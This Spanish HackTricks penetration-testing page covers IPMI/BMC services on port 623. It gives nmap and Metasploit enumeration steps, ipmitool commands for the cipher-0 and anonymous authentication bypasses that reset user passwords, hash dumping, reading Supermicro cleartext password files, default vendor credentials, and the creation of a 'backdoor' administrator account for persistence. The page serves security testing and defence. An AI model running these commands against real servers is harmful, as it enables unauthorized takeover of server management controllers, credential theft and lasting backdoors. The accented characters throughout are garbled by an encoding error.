623/UDP/TCP - IPMI
623/UDP/TCP - IPMI
tip
Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Support HackTricks
- Check the subscription plans!
- Join the 馃挰 Discord group or the telegram group or follow us on Twitter 馃惁 @hacktricks_live.
- Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.
Informaci贸n B谩sica
Descripci贸n general de IPMI
Interfaz de Gesti贸n de Plataforma Inteligente (IPMI) ofrece un enfoque estandarizado para la gesti贸n y monitoreo remoto de sistemas inform谩ticos, independientemente del sistema operativo o estado de energ铆a. Esta tecnolog铆a permite a los administradores de sistemas gestionar sistemas de forma remota, incluso cuando est谩n apagados o no responden, y es especialmente 煤til para:
- Configuraciones previas al arranque del sistema operativo
- Gesti贸n de apagado
- Recuperaci贸n de fallos del sistema
IPMI es capaz de monitorear temperaturas, voltajes, velocidades de ventiladores y fuentes de alimentaci贸n, adem谩s de proporcionar informaci贸n de inventario, revisar registros de hardware y enviar alertas a trav茅s de SNMP. Esencial para su funcionamiento son una fuente de energ铆a y una conexi贸n LAN.
Desde su introducci贸n por Intel en 1998, IPMI ha sido respaldado por numerosos proveedores, mejorando las capacidades de gesti贸n remota, especialmente con el soporte de la versi贸n 2.0 para serie sobre LAN. Los componentes clave incluyen:
- Controlador de Gesti贸n de Placa Base (BMC): El microcontrolador principal para las operaciones de IPMI.
- Buses y Interfaces de Comunicaci贸n: Para comunicaci贸n interna y externa, incluyendo ICMB, IPMB y varias interfaces para conexiones locales y de red.
- Memoria IPMI: Para almacenar registros y datos.
Puerto por Defecto: 623/UDP/TCP (Normalmente est谩 en UDP, pero tambi茅n podr铆a estar funcionando en TCP)
Enumeraci贸n
Descubrimiento
nmap -n -p 623 10.0.0./24
nmap -n-sU -p 623 10.0.0./24
use auxiliary/scanner/ipmi/ipmi_version
Puedes identificar la versi贸n usando:
use auxiliary/scanner/ipmi/ipmi_version
nmap -sU --script ipmi-version -p 623 10.10.10.10
Vulnerabilidades de IPMI
En el 谩mbito de IPMI 2.0, se descubri贸 un fallo de seguridad significativo por Dan Farmer, exponiendo una vulnerabilidad a trav茅s de cipher type 0. Esta vulnerabilidad, documentada en detalle en la investigaci贸n de Dan Farmer, permite el acceso no autorizado con cualquier contrase帽a siempre que se apunte a un usuario v谩lido. Esta debilidad se encontr贸 en varios BMC de fabricantes como HP, Dell y Supermicro, sugiriendo un problema generalizado en todas las implementaciones de IPMI 2.0.
Bypass de Autenticaci贸n de IPMI a trav茅s de Cipher 0
Para detectar este fallo, se puede emplear el siguiente esc谩ner auxiliar de Metasploit:
use auxiliary/scanner/ipmi/ipmi_cipher_zero
La explotaci贸n de esta falla es alcanzable con ipmitool
, como se demuestra a continuaci贸n, lo que permite listar y modificar las contrase帽as de los usuarios:
apt-get install ipmitool # Installation command
ipmitool -I lanplus -C 0 -H 10.0.0.22 -U root -P root user list # Lists users
ipmitool -I lanplus -C 0 -H 10.0.0.22 -U root -P root user set password 2 abc123 # Changes password
Recuperaci贸n de Hash de Contrase帽a Remota de Autenticaci贸n RAKP de IPMI 2.0
Esta vulnerabilidad permite la recuperaci贸n de contrase帽as hasheadas con sal (MD5 y SHA1) para cualquier nombre de usuario existente. Para probar esta vulnerabilidad, Metasploit ofrece un m贸dulo:
msf > use auxiliary/scanner/ipmi/ipmi_dumphashes
Autenticaci贸n An贸nima de IPMI
Una configuraci贸n predeterminada en muchos BMC permite el acceso "an贸nimo", caracterizado por cadenas de nombre de usuario y contrase帽a nulas. Esta configuraci贸n puede ser explotada para restablecer contrase帽as de cuentas de usuario nombradas utilizando ipmitool
:
ipmitool -I lanplus -H 10.0.0.97 -U '' -P '' user list
ipmitool -I lanplus -H 10.0.0.97 -U '' -P '' user set password 2 newpassword
Supermicro IPMI Contrase帽as en texto claro
Una elecci贸n de dise帽o cr铆tica en IPMI 2.0 requiere el almacenamiento de contrase帽as en texto claro dentro de los BMC para fines de autenticaci贸n. El almacenamiento de estas contrase帽as por parte de Supermicro en ubicaciones como /nv/PSBlock
o /nv/PSStore
plantea preocupaciones de seguridad significativas:
cat /nv/PSBlock
Vulnerabilidad UPnP de Supermicro IPMI
La inclusi贸n de un oyente SSDP UPnP en el firmware IPMI de Supermicro, particularmente en el puerto UDP 1900, introduce un grave riesgo de seguridad. Las vulnerabilidades en el SDK de Intel para Dispositivos UPnP versi贸n 1.3.1, como se detalla en la divulgaci贸n de Rapid7, permiten el acceso root al BMC:
msf> use exploit/multi/upnp/libupnp_ssdp_overflow
Fuerza Bruta
HP aleatoriza la contrase帽a predeterminada para su producto Integrated Lights Out (iLO) durante la fabricaci贸n. Esta pr谩ctica contrasta con otros fabricantes, que tienden a usar credenciales predeterminadas est谩ticas. Un resumen de nombres de usuario y contrase帽as predeterminados para varios productos se proporciona a continuaci贸n:
- HP Integrated Lights Out (iLO) utiliza una cadena aleatoria de 8 caracteres como su contrase帽a predeterminada, mostrando un nivel de seguridad m谩s alto.
- Productos como iDRAC de Dell, IMM de IBM y Controlador de Gesti贸n Remota Integrado de Fujitsu utilizan contrase帽as f谩cilmente adivinables como "calvin", "PASSW0RD" (con un cero) y "admin" respectivamente.
- De manera similar, Supermicro IPMI (2.0), Oracle/Sun ILOM y ASUS iKVM BMC tambi茅n utilizan credenciales predeterminadas simples, con "ADMIN", "changeme" y "admin" sirviendo como sus contrase帽as.
Accediendo al Host a trav茅s de BMC
El acceso administrativo al Controlador de Gesti贸n de Placa Base (BMC) abre varias v铆as para acceder al sistema operativo del host. Un enfoque sencillo implica explotar la funcionalidad de Teclado, Video, Rat贸n (KVM) del BMC. Esto se puede hacer reiniciando el host a un shell ra铆z a trav茅s de GRUB (usando init=/bin/sh
) o arrancando desde un CD-ROM virtual configurado como disco de rescate. Tales m茅todos permiten la manipulaci贸n directa del disco del host, incluyendo la inserci贸n de puertas traseras, extracci贸n de datos o cualquier acci贸n necesaria para una evaluaci贸n de seguridad. Sin embargo, esto requiere reiniciar el host, lo cual es una desventaja significativa. Sin reiniciar, acceder al host en ejecuci贸n es m谩s complejo y var铆a con la configuraci贸n del host. Si la consola f铆sica o serial del host permanece conectada, puede ser f谩cilmente tomada a trav茅s de las funcionalidades KVM o serial-over-LAN (sol) del BMC mediante ipmitool
. Explorar la explotaci贸n de recursos de hardware compartidos, como el bus i2c y el chip Super I/O, es un 谩rea que demanda m谩s investigaci贸n.
Introduciendo Puertas Traseras en BMC desde el Host
Al comprometer un host equipado con un BMC, se puede aprovechar la interfaz local del BMC para insertar una cuenta de usuario de puerta trasera, creando una presencia duradera en el servidor. Este ataque requiere la presencia de ipmitool
en el host comprometido y la activaci贸n del soporte del controlador BMC. Los siguientes comandos ilustran c贸mo se puede inyectar una nueva cuenta de usuario en el BMC utilizando la interfaz local del host, lo que elude la necesidad de autenticaci贸n. Esta t茅cnica es aplicable a una amplia gama de sistemas operativos, incluyendo Linux, Windows, BSD e incluso DOS.
ipmitool user list
ID Name Callin Link Auth IPMI Msg Channel Priv Limit
2 ADMIN true false false Unknown (0x00)
3 root true false false Unknown (0x00)
ipmitool user set name 4 backdoor
ipmitool user set password 4 backdoor
ipmitool user priv 4 4
ipmitool user list
ID Name Callin Link Auth IPMI Msg Channel Priv Limit
2 ADMIN true false false Unknown (0x00)
3 root true false false Unknown (0x00)
4 backdoor true false true ADMINISTRATOR
Shodan
port:623
Referencias
tip
Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Support HackTricks
- Check the subscription plans!
- Join the 馃挰 Discord group or the telegram group or follow us on Twitter 馃惁 @hacktricks_live.
- Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.